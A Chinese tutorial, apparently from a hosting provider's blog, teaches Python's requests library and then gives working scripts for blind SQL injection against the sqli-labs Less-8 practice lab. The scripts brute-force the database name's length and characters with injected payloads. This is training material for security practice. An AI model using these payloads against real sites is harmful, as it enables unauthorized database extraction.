本篇內容介紹了“怎么用Python編寫EXP”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
一、環境
1、python3
2、用到的模塊requests
3、sqli-lab
二、requests模塊應用
1、獲取網頁的內容
# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))
2、獲取頭信息
3、獲取提交的網址
print(res.headers)print(res.url)
運行結果:
{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html
4、修改訪問時UA信息
# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)運行結果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
5、超時處理,網頁超過三秒沒有反應當做異常
# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try: res=requests.get(url,timeout=3) print(res.request.headers)except Exception as e: print("網頁已超時?。?!")
6、提交get數據
# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)
運行結果:
http://192.168.1.129/get.php?aiyou=bucuo
7、POST提交數據
# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))
運行結果:
array(1) { ["aiyou"]=> string(5) "bucuo"}
8、上傳文件
# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))
運行結果:

三、獲取數據庫長度
#判斷數據庫長度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網頁返回數據的長度"+str(reslen))dblen=0while True: dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: print("數據庫名字長度為:"+str(dblen)) break if dblen==30: print("出現錯誤!") break dblen+=1
運行結果:

四、獲取數據庫名字
# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網頁返回數據的長度"+str(reslen))#判斷數據庫長度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True: dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: print("數據庫名字長度為:"+str(dblen)) break if dblen==30: print("出現錯誤!") break dblen+=1dbnmae=""#生成8個字母for i in range(1,9): #獲取字母從a-z for a in string.ascii_lowercase: dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: dbnmae+=a print(dbnmae) break
運行結果:

“怎么用Python編寫EXP”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。